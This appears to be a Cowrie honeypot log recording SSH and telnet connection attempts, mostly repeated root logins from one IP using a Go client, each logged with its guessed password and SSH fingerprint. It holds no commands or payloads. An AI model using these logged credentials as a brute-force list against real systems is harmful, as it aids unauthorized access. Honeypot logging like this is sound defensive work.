{"eventid":"cowrie.login.failed","username":"root","fingerprint":"d5:05:3a:6a:c0:cb:e1:68:76:ee:0b:7d:c2:a7:89:a9","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA7xFVWjh0MF4mkwSHVPzhGvN3CqXiB6ErgYETzlSDiKU3bCr6+oOZO08U35BDv+R7pYXW7WhLEFH6QBKei1B+nKyclSevj4hC91sw9mw+KLLYyzcK/14ORl6tzHqSdHhxTUF9HvVmczhqOpfn2FSszelFcSkfqn/0zE0oZS0Y/fhkuAMZn5OxoIBBjItlqbsOfpp8g+jqHdI4kMDV8MNIX57srjFs7sFfTMzXf0pUqfADQVCKeN0hWCTBaN9TX1eg2XAqnb+fjNqQjZWeaKIJhZpiHX2YcyBBC7zCNFaciJd+62kNnIqBw38mN6haitkPSo+7/GoUCxWieJstDSs2Mw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:40:49.106698Z","src_ip":"86.111.176.100","session":"da35161672ed","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:40:49.176615Z","src_ip":"86.111.176.100","session":"da35161672ed","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"36.25.68.79","src_port":51620,"dst_ip":"159.203.135.109","dst_port":23,"session":"5c982d7c0ee6","protocol":"telnet","message":"New connection: 36.25.68.79:51620 (159.203.135.109:23) [session: 5c982d7c0ee6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:42:58.482406Z"}
{"eventid":"cowrie.session.closed","duration":13.363032341003418,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:43:11.845307Z","src_ip":"36.25.68.79","session":"5c982d7c0ee6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":36312,"dst_ip":"10.17.0.5","dst_port":22,"session":"40b092262b65","protocol":"ssh","message":"New connection: 60.165.124.241:36312 (10.17.0.5:22) [session: 40b092262b65]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:44:48.009624Z"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:44:48.260396Z","src_ip":"60.165.124.241","session":"40b092262b65","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":36868,"dst_ip":"10.17.0.5","dst_port":22,"session":"1e26637eebeb","protocol":"ssh","message":"New connection: 60.165.124.241:36868 (10.17.0.5:22) [session: 1e26637eebeb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:44:48.509247Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:44:48.514179Z","src_ip":"60.165.124.241","session":"1e26637eebeb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:44:48.757461Z","src_ip":"60.165.124.241","session":"1e26637eebeb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"---fuck_you----","message":"login attempt [root/---fuck_you----] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:44:49.503652Z","src_ip":"60.165.124.241","session":"1e26637eebeb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:44:50.745063Z","src_ip":"60.165.124.241","session":"1e26637eebeb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":40284,"dst_ip":"10.17.0.5","dst_port":22,"session":"e4635aff20cc","protocol":"ssh","message":"New connection: 60.165.124.241:40284 (10.17.0.5:22) [session: e4635aff20cc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:44:50.981428Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:44:50.986200Z","src_ip":"60.165.124.241","session":"e4635aff20cc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:44:51.226749Z","src_ip":"60.165.124.241","session":"e4635aff20cc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"root123456","message":"login attempt [root/root123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:44:51.952246Z","src_ip":"60.165.124.241","session":"e4635aff20cc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:44:53.197010Z","src_ip":"60.165.124.241","session":"e4635aff20cc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":43328,"dst_ip":"10.17.0.5","dst_port":22,"session":"9b37e2a2771e","protocol":"ssh","message":"New connection: 60.165.124.241:43328 (10.17.0.5:22) [session: 9b37e2a2771e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:44:53.429624Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:44:53.435666Z","src_ip":"60.165.124.241","session":"9b37e2a2771e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:44:53.673321Z","src_ip":"60.165.124.241","session":"9b37e2a2771e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"h3c.com!","message":"login attempt [root/h3c.com!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:44:54.393820Z","src_ip":"60.165.124.241","session":"9b37e2a2771e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:44:55.635650Z","src_ip":"60.165.124.241","session":"9b37e2a2771e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":46856,"dst_ip":"10.17.0.5","dst_port":22,"session":"fef4912bb2e8","protocol":"ssh","message":"New connection: 60.165.124.241:46856 (10.17.0.5:22) [session: fef4912bb2e8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:44:55.871137Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:44:55.876404Z","src_ip":"60.165.124.241","session":"fef4912bb2e8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:44:56.115905Z","src_ip":"60.165.124.241","session":"fef4912bb2e8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"5nWt3P-fF4WosQm5O","message":"login attempt [root/5nWt3P-fF4WosQm5O] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:44:56.837579Z","src_ip":"60.165.124.241","session":"fef4912bb2e8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:44:58.080471Z","src_ip":"60.165.124.241","session":"fef4912bb2e8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":50108,"dst_ip":"10.17.0.5","dst_port":22,"session":"23cc81acdd0c","protocol":"ssh","message":"New connection: 60.165.124.241:50108 (10.17.0.5:22) [session: 23cc81acdd0c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:44:58.311614Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:44:58.317084Z","src_ip":"60.165.124.241","session":"23cc81acdd0c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:44:58.554684Z","src_ip":"60.165.124.241","session":"23cc81acdd0c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Test@2022","message":"login attempt [root/Test@2022] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:44:59.272820Z","src_ip":"60.165.124.241","session":"23cc81acdd0c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:45:00.518090Z","src_ip":"60.165.124.241","session":"23cc81acdd0c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":53080,"dst_ip":"10.17.0.5","dst_port":22,"session":"bbe3ae415428","protocol":"ssh","message":"New connection: 60.165.124.241:53080 (10.17.0.5:22) [session: bbe3ae415428]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:45:00.755358Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:45:00.760490Z","src_ip":"60.165.124.241","session":"bbe3ae415428","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:45:01.014088Z","src_ip":"60.165.124.241","session":"bbe3ae415428","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Pai=3.1415","message":"login attempt [root/Pai=3.1415] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:45:01.763254Z","src_ip":"60.165.124.241","session":"bbe3ae415428","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:45:03.019428Z","src_ip":"60.165.124.241","session":"bbe3ae415428","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":56492,"dst_ip":"10.17.0.5","dst_port":22,"session":"ff5212c03001","protocol":"ssh","message":"New connection: 60.165.124.241:56492 (10.17.0.5:22) [session: ff5212c03001]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:45:03.289088Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:45:03.293736Z","src_ip":"60.165.124.241","session":"ff5212c03001","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:45:04.287766Z","src_ip":"60.165.124.241","session":"ff5212c03001","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Tcdn@2007","message":"login attempt [root/Tcdn@2007] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:45:05.087868Z","src_ip":"60.165.124.241","session":"ff5212c03001","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.1","message":"Connection lost after 3.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:45:06.364429Z","src_ip":"60.165.124.241","session":"ff5212c03001","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":60882,"dst_ip":"10.17.0.5","dst_port":22,"session":"6323b8d1594b","protocol":"ssh","message":"New connection: 60.165.124.241:60882 (10.17.0.5:22) [session: 6323b8d1594b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:45:06.617553Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:45:06.623640Z","src_ip":"60.165.124.241","session":"6323b8d1594b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:45:06.873041Z","src_ip":"60.165.124.241","session":"6323b8d1594b","protocol":"ssh"}
